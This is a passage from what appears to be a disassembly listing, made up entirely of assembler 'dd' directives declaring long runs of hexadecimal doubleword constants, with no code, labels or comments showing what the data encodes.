		dd 1C1DDF6Dh, 9E40FEFDh, 68F7756Ch, 3CE02ECh, 0A9C4567Ch
		dd 0DC3351C0h, 0A420724Bh, 3189D39Ch, 0F08816D8h, 6D65E833h
		dd 1ED2D3Dh, 10DCE9E1h,	8EDC2BE0h, 6A970E0Ch, 8CB46742h
		dd 0B4DF28h, 6D9984C3h,	0D1812B0Eh, 5FFCD600h, 0CAC946C1h
		dd 205600F9h, 345AD2DDh, 3000EDAEh, 2EB5DAE6h, 0A1AF7Bh
		dd 0C78A357Eh, 3BDB8DA0h, 0F10A6300h, 0A9B55D65h, 0E01004Dh
		dd 0B3E11802h, 69070B8Ah, 45A70F1Ah, 3285D210h,	0A0309A92h
		dd 64ED4h, 6537DB78h, 94CE0973h, 0D874C1B8h, 322F3Bh, 83EBE47Eh
		dd 0A0CB06A2h, 1336DAB0h, 0AA8660h, 5ECEBE78h, 44B83E0Ah
		dd 0D9B37E00h, 6D77EFBDh, 0E4BB1245h, 0F23C00D1h, 57531E71h
		dd 0F9950600h, 770994CCh, 0FB9E004Fh, 6C13C6C1h, 485498E3h
		dd 31F20B0h, 0DC0027FFh, 7D8E2D09h, 0C177C5h, 962C83DEh
		dd 662741Fh, 0B82CFB70h, 9D0074D8h, 0DE338609h,	3B87E09Ch
		dd 9917ABA6h, 0A7780018h, 0DF234578h, 9C0382A0h, 0C33ABA05h
		dd 3082AEB9h, 56E8A03Fh, 0E15BBD0h, 31BAEDA5h, 0F02FC907h
		dd 8E6585A7h, 0B533FF00h, 74D6769Fh, 0CE200FAh,	1EAEFD07h
		dd 0BA60F42Ch, 4849152Ah, 0CB640E62h, 2567561h,	147728B8h
		dd 671595E0h, 0B57D9613h, 45B4E0h, 36718638h, 0E7F1FE6Ch
		dd 0C0BD5Ch, 0C99EBC1Fh, 94F65009h, 0D5A0001Ch,	0F11518A5h
		dd 0AB2735EEh, 0F7896F8h, 0BB2AE28Fh, 78F64CA0h, 940043E6h
		dd 3ED8D3E5h, 0DC18E119h, 0F576C04Ch, 0DA720995h, 0DD8E3C00h
		dd 5AAF74B2h, 0E65704B3h, 0C054EB86h, 8D84FC48h, 0C19DCA09h
		dd 7830E0B5h, 905D03FEh, 6D188CE4h, 6D546F0h, 532E7A00h
		dd 501F8774h, 3BE0002Fh, 0C2A4C927h, 0DB0B3E55h, 72B3FFBh
		dd 1CC1A5EBh, 3470D841h, 43CB1FCDh, 474040C6h, 6A8A3191h
		dd 0F04E4A3Eh, 49DF3Ch,	0C59EB5BBh, 605A1B8Ch, 23D8680Bh
		dd 59013E1Ch, 7C5D0CB1h, 0B8926DCEh, 803C2789h,	0F68D9C4Dh
		dd 410A80h, 0E9F3E049h,	5E476CBEh, 1C341901h, 2AC98E84h
		dd 83CC470h, 0BC885C24h, 5704F613h, 0A4C0ABEEh,	0A01C08F1h
		dd 4FC5DF8Fh, 611C009Fh, 81670E9Eh, 0AE38F400h,	0BCD3ABA8h
		dd 8402129Ch, 0FA64C023h, 1C0C607Dh, 0A85F8BB9h, 390B927h
		dd 5D584798h, 33590ED0h, 15DD2100h, 4692B257h, 8BD500D1h
		dd 506276F6h, 660AC4DBh, 0D8B758A5h, 517E840Ch,	7C742586h
		dd 0EB412C80h, 0D4EA567Fh, 4D130409h, 2704400Fh, 18C7F26h
		dd 3B081A4Ah, 20830C39h, 7BEC3383h, 3A811600h, 0DBB67457h
		dd 6B640092h, 45A5D288h, 2117C3C4h, 14004BB8h, 2DF9A32Ch
		dd 290400E8h, 28AFB4B5h, 891E0D75h, 7EC0D639h, 0FA56A427h
		dd 0E56213FEh, 0BB7D011Eh, 70266467h, 94088EFCh, 1EAE2ECFh
		dd 44060157h, 801F09CCh, 3AAD7F68h, 736347A5h, 0B0E5F0B4h
		dd 0C67D00D6h, 5206026Bh, 410084DFh, 0B4DA605Fh, 1C81D8EAh
		dd 0B45B838h, 0C402AB18h, 75C057A8h, 4D2CBAE4h,	33BE8CCh
		dd 7403E1E3h, 0ADCAB829h, 60FC26A4h, 0B88A0084h, 42D65E9Bh
		dd 84B9FF00h, 7F1C3F6Dh, 0DB1F1812h, 8955B0FAh,	7D9E953Fh
		dd 3F607000h, 3259FE75h, 0DA2003FFh, 525CAC56h,	3525D3D8h
		dd 7AADA81Eh, 4CD985C0h, 0CF26DBh, 680DB29Ch, 434404D7h
		dd 0BCD16B00h, 0C3B87923h, 0BD900009h, 0F64ED4FEh, 0A2123E41h
		dd 6C09D1A4h, 2224AEC7h, 60371702h, 396B730Eh, 54016550h
		dd 2213EB1Ch, 61142086h, 24556920h, 8E3C5AFFh, 68F8D920h
		dd 6113BC5Dh, 2007EA42h, 0CA37A1FDh, 0E75CB0A1h, 0FEF3A040h
		dd 0B4F71D99h, 0DBE2010Ch, 30B1E82Bh, 6554CC58h, 7891B988h
		dd 0D47E0783h, 0D1C7B0CAh, 3C65244Eh, 94C21448h, 27AB7D02h
		dd 5841DDD2h, 86530DEh,	97888400h, 5CF3D7CFh, 3377019Fh
		dd 0A1F1701Bh, 0EA042441h, 0B8818405h, 1782BFB0h, 485A10h
		dd 9AC9855Bh, 5DC0B5CCh, 46D77F00h, 827A273Dh, 26631389h
		dd 8588D00Eh, 441295ACh, 90057CB1h, 9000536Eh, 75F698E9h
		dd 6D0D00E3h, 0E689E7FCh, 0E1016A74h, 9653DFA7h, 0FED84C5Eh
		dd 7C171737h, 91D70024h, 841F31D6h, 9C01A8F2h, 4396FAF7h
		dd 8DCC0668h, 0BDB016h,	24692D6Bh, 11D8FF4Ah, 2C7BBB00h
		dd 5CCC6F85h, 0B98D02E5h, 0FAA2066Ch, 0C756E0E0h, 9470EA1Fh
		dd 5800B81Eh, 921EE363h, 0EE32001Bh, 0C4CD9F4Bh, 0E80038FCh
		dd 90A06F83h, 0B0A7B278h, 0F12C007Eh, 0A916EE79h, 0F800C8E9h
		dd 0A280A50Eh, 1548DD4h, 0B8B1784Bh, 832FACCBh,	940FBC88h
		dd 0B714D805h, 0C07000D9h, 599DC3DDh, 0D3609319h, 6B472FB1h
		dd 4F9E073Fh, 0B03884ACh, 0C6994ECBh, 0A7D8F718h, 6B751h
		dd 78EE7393h, 6C8AC2EFh, 804EE43Bh, 43DFC8D3h, 7184D169h
		dd 37960091h, 365CF8C0h, 2A000421h, 77AF73D4h, 0C07CA18Dh
		dd 0CE240719h, 3E005E11h, 8E9E88ACh, 3FECFEh, 4B962EDEh
		dd 0C9CB801Ch, 49009DFCh, 8F7F6E3Bh, 0E438FA20h, 7CF40FF2h
		dd 8C8345D6h, 49E8EE34h, 3670DBDAh, 84D7FD00h, 0AA8E7183h
		dd 0DD2501F6h, 2D0F2A16h, 180BF24h, 0A9D4D3B4h,	30C8AA9Dh
		dd 3C950CC3h, 907C42CBh, 0E81AEC28h, 98ED4Ch, 288873FBh
		dd 4EFF7Dh, 0C2DEEF89h,	4C9F64D8h, 0C3D6250Fh, 784500D5h
		dd 1AA993Dh, 0C8B5AD0Ah, 0F40309F3h, 4A0291DDh,	204376BBh
		dd 0B9AC412Bh, 0D5ECC4h, 7354D369h, 0F39FA877h,	0CB0037F4h
		dd 56AF851Fh, 9BF580h, 0B76D03CEh, 0EBE85F4Eh, 0A6657800h
		dd 2DE0F206h, 4DB600EDh, 0C99A6EAEh, 43005E30h,	0D2DF107Fh
		dd 50EC1C91h, 5D49Ch, 46FFFB01h, 0BCD9F9EFh, 2C7B200h
		dd 9492D4Fh, 352A2459h,	3683521Ch, 50EF19FDh, 0CC9B8228h
		dd 3901A903h, 0D9F162F5h, 8240A11h, 9D55008Dh, 9510F363h
		dd 5861417Bh, 0D68A7A58h, 6D6160h, 169A2A51h, 0CB72D78Eh
		dd 6CBF6600h, 5AC6E999h, 0F1C100B2h, 3C56E8A6h,	230091DCh
		dd 0E15F5EA7h, 7590136Ah, 1D520194h, 0DCCF7331h, 8440CE3Bh
		dd 989097CAh, 6FF0C9ECh, 22154001h, 0BF58D705h,	0DFB170h
		dd 3D5F594Ah, 177D690Fh, 0D79158h, 627BF326h, 11F73Fh
		dd 940C40B1h, 0D418957h, 0BB59B514h, 83450EE2h,	0BC5A8027h
		dd 552ABFh, 0C111E06h, 0A21F65F6h, 0EC98777Bh, 58E8A90Ah
		dd 640EFC1Dh, 3CE023C8h, 0E910071Ah, 0E79ABF53h, 7A41E0C5h
		dd 0A701F75Ch, 68BDD849h, 0D080D32Ah, 0E6ED6C06h, 8F00C77Fh
		dd 974AE853h, 172B655h,	0F2E24D83h, 0CF51B539h,	0D83A3590h
		dd 0A0BA1600h, 36A985A5h, 0F4BBFE38h, 91B300CBh, 0E4AD2F0Dh
		dd 0EF188121h, 48B06F7Ch, 0E730097h, 0BDD0AEF2h, 0B9054B46h
		dd 0A8081FEBh, 0A376880h, 24349806h, 40F8FAD3h,	8AB668E8h
		dd 4993C008h, 48980052h, 9D61B5A5h, 0D989E601h,	7E3A0FE1h
		dd 0FE7330h, 62D37A34h,	258B5DC6h, 38531830h, 0F101FE8h
		dd 6F047FCh, 0ADE0B38Eh, 0EC323D7Dh, 0CC5B2B0Eh, 275006F7h
		dd 0E7E0EF30h, 51D50EF2h, 0C1BCBD6Ah, 7DE5EC49h, 8DD440EEh
		dd 2A134C29h, 7D0061D0h, 1A21382Ch, 0D3A32659h,	0AE7B020Ch
		dd 90806228h, 0B4568F8h, 3A3B8900h, 0FF553850h,	692302EBh
		dd 72CFE913h, 9C4BD80h,	1F012DBFh, 46C38D7Ch, 24DD6B06h
		dd 19B52840h, 0DF9D8021h, 6D273300h, 6F91CCC2h,	457600D2h
		dd 7DFAC3E8h, 4A485E46h, 39AD004Ch, 0CA4CACF8h,	787C0009h
		dd 0E79940BBh, 0E002FC51h, 19F6ED0Dh, 0EF0C4077h, 0BBA40074h
		dd 8723F06Fh
		dd 0B3F89EBh, 970287B2h, 93803F6Ah, 0BC2EEAh, 0D7F114E7h
		dd 644CA163h, 0D91AE009h, 5BA07DFh, 0CEC1BA90h,	14BD4CB1h
		dd 0BB40C000h, 246FD65Bh, 175C2Ch, 63332EB8h, 0DD28FC03h
		dd 2BC09DA3h, 5C34BE09h, 4B2A2855h, 0D95B00E4h,	0ED6D41FAh
		dd 5C0F5FE2h, 40EE3CEAh, 34F3AB4Eh, 3EB500A9h, 107ABB60h
		dd 0D51EFB1Fh, 2D001DFDh, 4477A329h, 5A671D83h,	0BDD18FAEh
		dd 81D2B724h, 22960F88h, 83481FF0h, 0DD97DC00h,	3A9086A6h
		dd 23809AF0h, 39537C47h, 7A4F1020h, 0BA00A1ACh,	0AD69C226h
		dd 0BE122B55h, 0FC00D83Fh, 7995259h, 10D260E6h,	603432F6h
		dd 10A5B100h, 0AFC8C09h, 1D85B8C4h, 80DF817Fh, 0F0515988h
		dd 0EB047630h, 2C084225h, 625B6CC1h, 49DB7C31h,	41077CC8h
		dd 34F0FB8Fh, 0A9E8DCh,	1C74B121h, 0FE116EAFh, 0EA36006Fh
		dd 0D6C74824h, 5300E4A8h, 7EB0C4B2h, 0F0AD3h, 5EFC49AEh
		dd 0FD9EE2D9h, 0FC81472Ch, 875A2980h, 76A998h, 5B34F508h
		dd 64189BB0h, 58238C0Eh, 75A4C10Bh, 3DC4FCD2h, 0C74D0025h
		dd 0F6E6AEB8h, 0C0FD9D45h, 500E9BEh, 59FC5598h,	3997A80Eh
		dd 1980734Bh, 8209BD2Eh, 0C2C37AEh, 0B480C891h,	7A950601h
		dd 99C900C6h, 71885A4Bh, 300019B1h, 0ED709A80h,	36E344h
		dd 9646C2C8h, 0BD4228BBh, 9A45DC00h, 41F407D8h,	368200FEh
		dd 4A9503D4h, 8100A504h, 0D19164DAh, 0B3BEB4Eh,	0C97401B6h
		dd 42651200h, 41C946C0h, 769F0012h, 0BD741Ch, 3570CB49h
		dd 0A2943BDDh, 7FFA4C1Ch, 0D3F19A40h, 0EFF9F6Dh, 0B44A57B7h
		dd 8F480712h, 3D8DE0A4h, 21005875h, 0B927A680h,	368E15h
		dd 0FDC8702Ah, 0F2135DBDh, 80296D24h, 84C0F582h, 0FFFC40EEh
		dd 9887904Ah, 43710004h, 0D604D9A5h, 0F003316h,	404A4147h
		dd 15CC560h, 754C668Fh,	30288C67h, 9900DDB0h, 22AFF8CBh
		dd 163CC84h, 126F41A2h,	40619EA9h, 161A6D84h, 7D5B700h
		dd 46BF5D0Ch, 2C0FE94h,	80AB96F0h, 6C407A26h, 0C4900CF8h
		dd 3538C800h, 0F44AA8E3h, 12B4FCEAh, 0E22D87h, 0D0E1BBF9h
		dd 0EB002696h, 0B93B0864h, 28C970B1h, 58C5C7Bh,	48EC8D1Ch
		dd 2F5880ADh, 0FF07CEE0h, 673F9671h, 0F0696AE0h, 0A9200003h
		dd 1250B51Dh, 4F9071FEh, 0AC590772h, 1EEC077Ch,	0DC809F85h
		dd 0C355B4h, 0E8CFEAA6h, 4C16F89h, 8574CA01h, 0EE9B57B0h
		dd 908A1060h, 0E4380055h, 87AC3355h, 0B100FBBDh, 4D6C5EB9h
		dd 1C822574h, 404A02AFh, 0B7F35DE7h, 0C6702AEEh, 0FE4B6A00h
		dd 610C2D9h, 7F19000Ah,	0B0A6B285h, 7D1E5BC3h, 7C413816h
		dd 8C9D8439h, 3512D0h, 2BC889E2h, 0F434308Dh, 0AF992404h
		dd 0E0C21B38h, 90B84BD6h, 1A8214h, 0C5267DD3h, 0F2DB5246h
		dd 8C913A0Eh, 20B3895Ch, 81AEB604h, 8FA6012Eh, 764D6244h
		dd 180FDC19h, 33DCDB00h, 226B8D9Eh, 0BFF60065h,	51B13E58h
		dd 0FF0928E7h, 401DCAF4h, 0E94B0Ch, 39DA565Ch, 71F3812Fh
		dd 8F63A5E8h, 3A99D821h, 80456210h, 19B07328h, 47BA72h
		dd 0F049F4B7h, 85F1CEC3h, 0A0525000h, 7BEAFA48h, 8EAB06CBh
		dd 184E9018h, 0E2008077h, 745A2812h, 605BF7ACh,	2F8958D2h
		dd 0A45D57CCh, 6D7805B8h, 48C028C6h, 0F7096E2h,	69FA209Ah
		dd 7F9D3D80h, 76170852h, 8F1D3C58h, 50F09F40h, 61598EE9h
		dd 0F378B8F6h, 57C330E4h, 0CEC08EEDh, 0C54BC4h,	0DC240764h
		dd 4B400025h, 1B10AEDEh, 5300A734h, 0BF0DDD1Ch,	3CA387h
		dd 694C287Eh, 0F6AB4A8Eh, 9C6A700h, 7FBA92F3h, 8F740063h
		dd 946C36EBh, 0D400E022h, 0AEC75CCBh, 1E2ED2h, 3F749F70h
		dd 0A90AEA29h, 2067A200h, 307B0F38h, 72702C36h,	0AA90010Dh
		dd 0F4B21053h, 7C0E83E8h, 0C0282CF0h, 733E8EB4h, 0DB0D001Ch
		dd 7AEC7411h, 0EE701A5Bh, 52859302h, 0E1605610h, 40C01B21h
		dd 0EB9B00FCh, 1A7AE447h, 800DD99h, 0CB5F98B3h,	3CE53ED8h
		dd 0F203A0AAh, 97F556Eh, 0F00F7DE1h, 7E711F11h,	4D9DEC00h
		dd 382FBBD1h, 0BA2D778Dh, 50E7F0D4h, 53A871h, 4C2EEB69h
		dd 0C9AFEDDFh, 44DB7600h, 2FCECCA8h, 48512CA7h,	0E0F70DE1h
		dd 88E42129h, 90A98129h, 0E8D4840Bh, 0FD42A548h, 50BF22C4h
		dd 24ED5422h, 0D22C21A9h, 8C128312h, 883D296Ah,	0C0007124h
		dd 0C63E946Dh, 40FA6Fh,	0D10297AEh, 15748DE0h, 0F23D4E00h
		dd 0AFBDED9Eh, 0CEC0093h, 113B5488h, 2400BB87h,	56B8EA1Ah
		dd 0D234F4h, 0B0FEE20Eh, 6C9E83C4h, 4BFA5200h, 0E6AD3E32h
		dd 1D427D41h, 401873D3h, 5154077Bh, 0C10379BBh,	5E646283h
		dd 0A1EDC8F0h, 67434C1Bh, 6CD64800h, 0E5C7EA7h,	0B2C36500h
		dd 0E4F728E2h, 0F3251F3Ah, 84B5C09Ah, 0BAFD41FEh, 83050E76h
		dd 8C2A0AC4h, 0D8C0E8D7h, 36B39Dh, 7E4D860Ch, 4A051866h
		dd 520083E6h, 821D8A24h, 597D51h, 773CC420h, 8B1671A4h
		dd 0FA307977h, 0E7529025h, 0D68D0FC5h, 8040AFDFh, 6986EFEh
		dd 22331318h, 38B06210h, 3F016D17h, 0C3690AC5h,	2688807Dh
		dd 0F835D84Ch, 9CAD0FB9h, 3F605729h, 4A65640Dh,	0E5C4680Fh
		dd 801A8ECCh, 93348975h, 0EAB8009Ah, 72CE7C9Dh,	0F401AB59h
		dd 0E03C92A1h, 28F4FF2Fh, 701A30D1h, 0DD9AFC10h, 66F50700h
		dd 0F7019CF1h, 0FAE8002Bh, 0BC6018EFh, 0C01E0A4Eh, 56C0D94Bh
		dd 0F0CDD228h, 1F880084h, 3577CE60h, 1903AD5Fh,	0FF62D923h
		dd 0EB4E094Ch, 0FB803021h, 9D1568D0h, 0E5B71400h, 36CF802Fh
		dd 0D5720081h, 0DEE28D3Fh, 0F500FA43h, 0ADD2B7B5h, 1EBF8307h
		dd 0D273807Fh, 0A4A00058h, 0CB046D39h, 689C4600h, 0DA91B4CEh
		dd 418C093Ch, 4B806CCAh, 5C98EF3Bh, 32546F0Eh, 9951804Bh
		dd 0BC704Eh, 0E838FE2Dh, 1CF5143Ah, 30225424h, 0DD9E7900h
		dd 79F3531Bh, 0C868003Fh, 0C107AA61h, 2200779Bh, 60492CE2h
		dd 0BA8608h, 0CD69294Fh, 23AC2DA3h, 8E04E104h, 2010394Eh
		dd 72D47C05h, 82DC00AAh, 8126614h, 0BC3F3628h, 0EEC85A0Fh
		dd 52CBE0EAh, 0C032F7C7h, 2E829A18h, 0D3EE88EDh, 1A00A00h
		dd 44CD26B9h, 2A15006Bh, 52613FAAh, 91008567h, 0C9C7B67Bh
		dd 1C5C451Eh, 0CFA1E35Ah, 0A3E2B07Eh, 406B0A16h, 0EB39B1E9h
		dd 515747E0h, 0CF3CD509h, 6A1C001Ch, 1B2429h, 498B3A6Fh
		dd 6010134Dh, 387AE00h,	502F11EFh, 0DF8F03EAh, 74B80FC8h
		dd 25388888h, 814D7E00h, 5C43EF31h, 0C3E43AAAh,	73BB1E73h
		dd 0AC48400Eh, 46BC2A57h, 54FD2C1Fh, 63AE43C0h,	85C56Dh
		dd 83A9DA64h, 9B3008ABh, 0B3240460h, 3E46CEh, 55870321h
		dd 3780A32Eh, 47421B00h, 0B593A4E9h, 94854834h,	0C3566401h
		dd 0CC35CBC6h, 3100D978h, 436DAC9Ah, 77132Ch, 12D02688h
		dd 0D4CCFF3Ah, 0F499148h, 60758EE6h, 0B76C4073h, 0B53400E8h
		dd 92503747h, 1C505C56h, 5F007FB8h, 644A03DCh, 2A3D61C7h
		dd 0D8EFD0h, 0C5C8AD23h, 0CF1DA75Eh, 354A4C01h,	90B16904h
		dd 1358ACF8h, 0CE50A1h,	234660A2h, 0B200A644h, 9D4067D9h
		dd 0FCE23D8Fh, 0FFEF288Ch, 0F3E300C8h, 0C579F14Ch, 0D0006EDFh
		dd 0AA70CB31h, 24F262h,	0C4FBC23Dh, 0DEF9FDACh,	87B9113Eh
		dd 615603E4h, 0D6B08420h, 0B47824A5h, 1B59079Ch, 0AEC5F06Bh
		dd 39E64A61h, 5FAAF00h,	7EF5A83Ch, 57800383h, 9873AC0Eh
		dd 0E8F0829Bh, 0E90F709Dh, 0C04DB1CBh, 54102709h, 96E633h
		dd 98EA86AAh, 64A99703h, 0D5808400h, 82411137h,	4EB8075Ch
		dd 504D4C86h, 0C1974748h
		dd 801C0C38h, 8A569905h, 391DF81h, 6AC96243h, 0B8A0F56Ch
		dd 0C000FD18h, 96D30F02h, 1F1A7E74h, 24647541h,	0F80B00D1h
		dd 8488010Eh, 268D1C00h, 0E32F7946h, 6EFD0027h,	5721A07Ah
		dd 2A004A29h, 5551922h,	660DA7h, 5348EB32h, 683DA079h
		dd 0F280441Dh, 0E9205201h, 198088BAh, 69EE5C0Fh, 2D00D09Bh
		dd 0C872ED4Bh, 0BE09BDh, 8F90D429h, 76FC3212h, 0DE265F00h
		dd 0D680BC22h, 53380044h, 7AE76A51h, 0A2004C9Eh, 638957A0h
		dd 60092F5Ch, 0B91E111Ch, 6600AF2Eh, 0A9C9D38Ah, 494601h
		dd 0F20F0C6Ah, 899D2BB2h, 20689DF7h, 0D7771BC0h, 734F37h
		dd 0D43A5CBh, 7DB341CCh, 607EFD00h, 0D6537AEAh,	0C3AD0E7Fh
		dd 4F205217h, 58416378h, 50DB2B48h, 39019A1Eh, 8DF96982h
		dd 0A5C04EEFh, 0D92A3805h, 0ECA11501h, 80D74ADBh, 8497E264h
		dd 0B3F22Eh, 0AD9E311h,	88F67BA7h, 4D4AD500h, 233CB687h
		dd 0B842008Ah, 488D3376h, 0D000B0F1h, 4A7DEFCFh, 7DFAFC6Fh
		dd 0AC3E00C6h, 88DC934Bh, 0C3398FB6h, 51770D0Ah, 34D020C5h
		dd 0BF9E002Bh, 0D05EB37h, 7B0FD523h, 212C48F4h,	1AB6F0B7h
		dd 3D98BFC8h, 37148014h, 5900F423h, 564A34E3h, 0D9014D40h
		dd 6075A7C6h, 0F7D8BE7Eh, 33D8391Fh, 40C5DF1Ch,	0E3DC8B09h
		dd 0DB1F352Eh, 48807288h, 9D605349h, 2C65018Ch,	560FB7E5h
		dd 5910809Eh, 14A2E417h, 0DD78F6h, 0C7DAC887h, 0D0094E7Eh
		dd 55220405h, 6EC0EAABh, 1BFA96Ah, 0AEF9D162h, 704B157Dh
		dd 0C8A47BD8h, 2F721A00h, 0EA6F22ABh, 1DDA0053h, 2DB970Bh
		dd 12008266h, 5FF9C34h,	6F57C5h, 0D1E8F45Ah, 94ABB5AAh
		dd 24717E48h, 3800CA04h, 0FBB83C8Fh, 0E07FAFFh,	65A1C652h
		dd 0B8B0A80h, 5500AE45h, 14CE1F93h, 0CBB434h, 5429ED7Fh
		dd 4ADFB7ACh, 2417D200h, 436A742Dh, 6B5500A8h, 226F7014h
		dd 9E004C54h, 44716998h, 0DAEA64h, 0CD8AE4CAh, 0BF3868F1h
		dd 3349D900h, 2718417h,	46E2D2h, 90259E39h, 79540D8h, 6E424700h
		dd 0A4A971EFh, 1B310057h, 74E93EF6h, 6C39B889h,	0C2868028h
		dd 0C792A62Ch, 6B2A0FD8h, 6623D550h, 5DD805A7h,	9019129h
		dd 38EE3C55h, 35D09748h, 31880071h, 0A97F73A5h,	2C00A794h
		dd 0F5BA956Eh, 0AB8D27h, 74CB78ACh, 4BAD8C6Dh, 9638E107h
		dd 9893EA85h, 0EBE0D856h, 68F50057h, 5DE2CD11h,	0D6604EA5h
		dd 6790C108h, 5EBB070Fh, 0E0DEB555h, 0E253A92Bh, 5438B400h
		dd 5910A0D3h, 766A0291h, 0A1D74E32h, 0DC7CC082h, 0C50FD860h
		dd 0E4E238h, 328F7196h,	0D29BA4h, 0A0E77A2Bh, 67075DA8h
		dd 5CF44D07h, 4EAFC6h, 8D1F9C72h, 5B8E00D4h, 90E95DD2h
		dd 3001126Fh, 0D7F10E09h, 6670CD18h, 7C327FA9h,	68470353h
		dd 5B3C1FF9h, 949C15F0h, 6B399600h, 4FB377CCh, 41923D07h
		dd 3C03B180h, 95647B01h, 4D305B00h, 0BE063AC6h,	8AE101D4h
		dd 0A6AB3DA5h, 0C21920A3h, 0F431D101h, 3AB3024Fh, 80E1189Eh
		dd 341BD45Ah, 52033EB8h, 560BB2B6h, 9670EF38h, 3A2BD610h
		dd 0B81C9BBEh, 6FBF0003h, 1460F44Ah, 4069E801h,	0DE552783h
		dd 303C73D4h, 63B8C435h, 9100D161h, 488AC56h, 7C6960h
		dd 3587387Ah, 0DC55FC37h, 74D2C90Ah, 0A10080A7h, 6C97A039h
		dd 307A0061h, 0A3C67D3h, 0C4002A78h, 0C1176410h, 485ACAEDh
		dd 0E20194A2h, 80EF186Dh, 0DE080A4h, 1FC093A0h,	1BE50138h
		dd 3CBDD86Eh, 27E6F404h, 78CD6F06h, 770A4F0h, 0D7898D56h
		dd 756A512Ah, 7AB44094h, 9F015279h, 3818D4E9h, 49E09113h
		dd 2D4F00D5h, 3EDE0DACh, 8B000358h, 0D1BA6D5Ch,	1D81AA74h
		dd 1FAE7119h, 9BD480FCh, 127706A8h, 0C0146200h,	3D7239B3h
		dd 0FF540724h, 0D41A65h, 1FFB9920h, 74122709h, 235C80EEh
		dd 3D263FEh, 0A95F9AE1h, 31A03DD0h, 580081C1h, 3B1ECB8Ch
		dd 0B07F908Eh, 1E1FECD7h, 40502229h, 0AF577E10h, 0F702D5E9h
		dd 1E677DCBh, 6625C0B3h, 70F8C090h, 2EF811CEh, 4C15C602h
		dd 40072CD9h, 30F247Ch,	37B508A6h, 541E895Dh, 2BC0C7A8h
		dd 5E26F231h, 3FF700D4h, 0ACA4235Bh, 1113766Bh,	7400F951h
		dd 39FFE99Eh, 363C008Ch, 324733Fh, 0AA007290h, 88197FB3h
		dd 66DB8h, 1FB7AED2h, 5397E9ADh, 48BD0F00h, 0B593F2E3h
		dd 4E3739C6h, 0D0008EBCh, 1487B3F3h, 2B00179Eh,	2426CB9h
		dd 50A60E97h, 90A458h, 0AA5EC468h, 6665CFEFh, 0A0B7FD0Ah
		dd 0EA02EA5Fh, 6028E959h, 1F0B7B2Ch, 0C0C225D8h, 56BDF224h
		dd 0DA0087ABh, 6E6A7DF6h, 9C4606h, 0AA3E844Ah, 345CB0D4h
		dd 52022BFAh, 519E1342h, 7440E076h, 0EC0B0E09h,	80BF0DAAh
		dd 461523A3h, 1800A75Fh, 0E79155D0h, 1D2F8427h,	4011A9DCh
		dd 0B86EBCD2h, 6C0017C9h, 0BF08CEB5h, 0E7FFF22Ah, 0C2DD26E8h
		dd 0A5753AA8h, 78C15040h, 6C8C8A0Fh, 3E442001h,	972134h
		dd 9C4F266Fh, 0EDFB2DC0h, 0D392F50Ah, 190788D8h, 60E0BD36h
		dd 952E3E2h, 9EDDAEAAh,	0B93B1C80h, 783B7A42h, 9009BD83h
		dd 0C700DBD0h, 1C087D4Fh, 2407C96Fh, 16ACEFFDh,	0B1DFA150h
		dd 77B00029h, 6614D7C8h, 234CF381h, 0A4741C6Bh,	474ED4A4h
		dd 8C57D43Ah, 0A269D891h, 0E3189C4h, 6F91980Bh,	3A34BD40h
		dd 0C89020F5h, 0A10FA507h, 46E38435h, 0D2500032h, 7C96E087h
		dd 3F0BF4Ch, 52B2D900h,	60ADD7B9h, 0F43E5072h, 17D63C61h
		dd 0EDC751Fh, 54A0C102h, 0E8EC685Fh, 0D15B720Eh, 956C07F5h
		dd 0E9C1B010h, 0CAEF0E37h, 3009F3Bh, 7DCD8620h,	638D8900h
		dd 0C2DDEAD6h, 856B1334h, 0D4A10F6Fh, 501175Eh,	927B40Dh
		dd 6E8055E8h, 0B7122B05h, 4E82BD00h, 76AC39BAh,	430C1D4Dh
		dd 80529FA1h, 7F5AC719h, 3900B8D3h, 8128DA92h, 0F6222C45h
		dd 46490D4h, 0B3D5AD8Dh, 0B440C09Dh, 0C704543Fh, 8C630617h
		dd 0F5D474C0h, 9AB11CFDh, 87F2C019h, 0E918D63Ah, 0B4FE1400h
		dd 0A87C935Bh, 0DE6E0044h, 0EB03BF84h, 9E749C7Fh, 9007974h
		dd 644EAE1Fh, 74CAB48h,	0F9DD6991h, 33830141h, 5BB1E06Fh
		dd 5F0FC5F0h, 2ACB2842h, 9580C83Ah, 9C4460BCh, 7E660AB2h
		dd 8B8E8Ah, 0DAFC84BEh,	0FB006BA8h, 4D5026D1h, 72165C5h
		dd 2414CA58h, 0FC204BB3h, 0F3463EE4h, 0D268C609h, 8E740437h
		dd 0C0B89BC2h, 265375A8h, 8EC4646Fh, 9EE04643h,	0A7285BD6h
		dd 18953C30h, 4520EABh,	1C93130Bh, 13C8E54h, 80385C22h
		dd 0C60A73Ch, 62CB0148h, 0AA4111BEh, 6868894Ch,	30480099h
		dd 0FC4682h, 6D37DE31h,	664EBA1Ah, 9A847602h, 4226169Bh
		dd 42C8C054h, 0AA90A98h, 58C3503h, 0C07F9BB6h, 0A36820A0h
		dd 0E70478EAh, 0B8DEAC3Ah, 0D23DF480h, 0F4C851B6h, 0FFF50720h
		dd 1080C0CDh, 6F6E36E5h, 0E801D8B9h, 0CB4C8877h, 0E8809F48h
		dd 0F3E04B1Fh, 0C376B08Ch, 0AC509A03h, 0C612AB4Eh, 1DB52C40h
		dd 965E00F0h, 6C73C0C1h, 15F2EC00h, 5D780C8Eh, 0F4F81CB5h
		dd 504F002Fh, 1E959C7Eh, 0B886423Eh, 12DC71h, 571AF74Ah
		dd 0ADC3Ch, 9E49BF0Bh, 5F873159h, 0D000CC74h, 116709E8h
		dd 0B839F065h, 0B83F0103h, 8A3BB915h, 0CA8648Bh, 243ABA0Fh
		dd 382E4031h, 0EC4095EDh, 370EAE4h, 7266D49Ah, 0AA964C69h
		dd 9F63BC00h, 83EA6F8Eh, 9B6400E1h, 8B4997B4h, 56912C7h
		dd 0CA2C83C0h, 0C106D054h, 1026495Dh, 85698900h, 0BB782FAEh
		dd 0A75ED900h, 8B4E3596h, 0D03A00D5h, 15DFAF06h, 0AB7D8D45h
		dd 82582498h
		dd 4985B0C8h, 253101A9h, 0BFD69E3h, 0C1BAF01Ch,	0D300E77Eh
		dd 0EC941874h, 0EE6FA7A8h, 8914007Fh, 0EF7C77D0h, 0AC0055B3h
		dd 5E8DC8E2h, 1364AD4Bh, 62050h, 0D4B13AA3h, 0E90A8717h
		dd 0E7776255h, 9FD3E400h, 27765402h, 0FA80B7E2h, 0B1E57A74h
		dd 43003372h, 8A156B17h, 377ECBAh, 0DC69F093h, 0CB82BF4Eh
		dd 945C6E60h, 7521B600h, 7456D8CAh, 3257AB5h, 7B731964h
